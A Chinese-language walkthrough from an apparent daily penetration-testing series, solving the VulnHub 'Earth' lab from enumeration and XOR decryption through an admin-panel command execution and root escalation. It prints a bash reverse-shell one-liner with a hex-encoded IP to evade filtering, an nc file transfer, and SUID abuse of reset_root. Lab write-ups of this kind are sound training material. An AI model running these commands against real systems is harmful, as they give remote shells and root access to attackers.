简介
每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。
代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
一、网络枚举
枚举发现IP地址!
nmap 192.168.253.141 -p- -A
发现443端口有DNS解析:
Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
在hosts文件中添加DNS解析:
192.168.253.141 earth.local
192.168.253.141 terratest.earth.local
二、Web信息收集
收集earth.local信息:
http://earth.local/
发现存在Previous Messages信息!怀疑是秘钥?
继续访问:http://earth.local/admin
发现登录页面!
继续访问:http://terratest.earth.local/
继续访问:https://terratest.earth.local/
继续爆破:
发现有robots.txt文件,查看一下:
https://terratest.earth.local/robots.txt
发现有个testingnotes文件,但是不知道是图中的哪种格式,手动测试后发现是txt格式,访问testingnotes.txt:
测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。
这里我们得到了新的信息,加密算法是 XOR,并且有一个testdata.txt文档用于测试加密,用户名是terra,先访问testdata.txt并保存:
https://terratest.earth.local/testdata.txt
三、XOR破解
用cyberchef(CyberChef)先对上面这条previous message进行From Hex操作,从16进制数转化为UTF-8,再进行XOR操作,将testdata.txt的内容作为key,编码选UTF8:
https://gchq.github.io/CyberChef/
即可得到一组循环的字符串,每组循环都是:earthclimatechangebad4humans
四、命令执行反弹
然后使用用户名:terra ,密码:earthclimatechangebad4humans
登录:https://earth.local/admin
发现可以执行系统命令:
需要对IP进行16进制绕过反弹shell:
bash -i >& /dev/tcp/0xc0.0xa8.0xfd.0x8a/1234 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'
五、逆向分析提权
查找有suid的文件:
find / -perm -u=s -type f 2>/dev/null
发现有个/usr/bin/reset_root,感觉可以提权,下载到本地研究:
nc -nlvp 1234 >reset_root
nc 192.168.253.138 1234 < /usr/bin/reset_root
本地分析:
发现报错:
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
检查是否存在重置触发器...
重置失败,所有触发器都不存在。
用ltrace跟踪库函数调用:
或者用strace 命令进行调试:
因为没有以下三个文件而报错,查看靶机发现也没有这三个文件:
access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (没有那个文件或目录)
在靶机中创建这三个文件:
touch /tmp/kcM0Wewe
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
/usr/bin/reset_root
在靶机上用touch命令创建这三个文件,创建完成后再执行/usr/bin/reset_root,执行成功,显示root的密码被修改成了Earth:
用su命令提权到root,密码为Earth:
成功拿到root控制权限。
六、源代码
find / -type d -name "admin" 2>/dev/nul
find / -type f -name "login*" 2>/dev/null
/home/earth/.local/lib/python3.9/site-packages/django/contrib/admin/templates/admin
可看到通过查询发现,底层是Django的管理框架,是一个用于构建 Web 应用程序的高级 Python Web 框架。它由一系列组件和工具组成,旨在帮助开发者快速构建高效、可维护的 Web 应用。
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。